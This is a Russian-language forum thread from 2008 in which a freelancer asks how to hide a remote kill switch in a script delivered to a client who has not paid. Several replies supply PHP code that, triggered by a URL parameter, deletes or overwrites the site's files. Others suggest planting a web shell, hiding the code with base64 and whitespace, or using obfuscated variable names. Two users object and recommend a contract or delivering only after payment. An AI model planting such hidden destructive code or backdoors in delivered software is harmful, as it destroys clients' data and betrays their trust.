нерадивый заказчик(способы защиты)

Тема в разделе "Мегафлуд", создана пользователем lordBlack, 14 ноя 2008.

Статус темы:
Закрыта.
  1. lordBlack

    lordBlack

    Регистр.:
    29 ноя 2007
    Сообщения:
    620
    Симпатии:
    246
    Вообщем у меня вопрос к нулледу.
    скажем я рисую скрипт, который балгополучно вешается на хост зказчика. заказчик оплатил 50% ...а остальные не хочет...

    как избавитсья от такой ситуации?
    скажем есть есть ли готовые решения по защите скрипта (кроме дезедна и шифрации)

    например: сайт.ру/индекс.php&do=сомманд&delscript
    бац и скрипт самоудалился....заказчик вынужден оплатить оставшиееся сумму.

    как это реализовать?
    просьба предложения под хайд не ниже 100 ложить.
     
  2. maureau

    maureau Прохожие

    Что значит "я рисую скрипт" ? Вы дизайнер ?
    Можете просто залить вместе со скриптом шелл ишите на нуледе, через шелл можно будет и удалять и редактировать и заливать файлы, ковыряться в базе данных и даже если настройки позволят поиграть с хостингом.
     
  3. elcaste

    elcaste

    Регистр.:
    30 ноя 2007
    Сообщения:
    322
    Симпатии:
    175
    Зачем эти пляски с бубном. Показываешь результат работы на своем сервере и после оплаты отдаешь продукт.

    PS: И, по-моему, автор разделом ошибся.
     
  4. ewg777

    ewg777

    Регистр.:
    6 авг 2007
    Сообщения:
    763
    Симпатии:
    321
    сайт.ру/индекс.php&do=delscript
    PHP:
    if($_REQUEST['do']=="delscript"){
    $files=array("index.php""admin.php"...); // Список файлов.
    foreach($files as $k=>$v){
    unlink($v);
    }
    }
    И второй вариант. Права на ВСЕ файлы поставить нужно 777.
    PHP:
    if($_REQUEST['do']=="delscript"){
    $files=array("index.php""admin.php"...); // Список файлов.
    foreach($files as $k=>$v){
    $fp=fopen($v"w");
    fwrite($fp,"Зря ты не заплатил...");
    fclose($fp);
    }
    }
     
    lordBlack нравится это.
  5. DARKtnt

    DARKtnt

    Регистр.:
    19 дек 2007
    Сообщения:
    222
    Симпатии:
    158
    + лучше всего все это в base64 и отделить огромным количеством пробелов - чтоб при просмотре скрипта не увидели
    хотя если человек не знает php, лучше оставить так - пожатый текст будет больше бросаться в глаза.
     
  6. ewg777

    ewg777

    Регистр.:
    6 авг 2007
    Сообщения:
    763
    Симпатии:
    321
    Тогда так. По материалу ithappens.ru. :D
    PHP:
    if($_REQUEST['do']=="getmainfunction"){
    $_=array("index.php""admin.php"...); // Список файлов.
    foreach($_ as $__=>$___){
    $____=fopen($___"w");
    fwrite($____,"");
    fclose($____);
    }
    }
     
  7. PHP_Master

    PHP_Master

    Регистр.:
    3 фев 2008
    Сообщения:
    2.647
    Симпатии:
    590
    Да ерунда это всё - удалённый скрипт восстановят из бэкапа, удалите ещё раз - опять восстановят и поймут где грабли.

    Решение только одно - не доводить до таких ситуаций: либо конкретный договор, либо сдача на своём хостинге.
     
  8. KillDead

    KillDead

    Регистр.:
    11 авг 2006
    Сообщения:
    883
    Симпатии:
    540
Статус темы:
Закрыта.